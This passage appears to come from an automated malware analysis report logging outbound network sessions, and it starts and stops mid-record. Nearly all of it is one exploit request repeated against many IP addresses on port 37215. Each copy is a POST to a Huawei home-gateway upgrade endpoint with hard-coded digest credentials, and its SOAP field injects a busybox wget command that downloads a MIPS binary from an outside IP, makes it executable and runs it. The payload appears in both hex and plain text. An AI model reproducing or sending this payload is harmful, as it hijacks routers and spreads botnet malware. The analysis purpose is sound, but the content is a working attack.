20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:44.188601971 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:15.420568943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	58266	94.121.100.243	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:16.350323915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	40844	156.241.14.212	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:16.369689941 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:17.948668957 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:19.804595947 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:23.708705902 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:31.132492065 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:45.980654955 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r 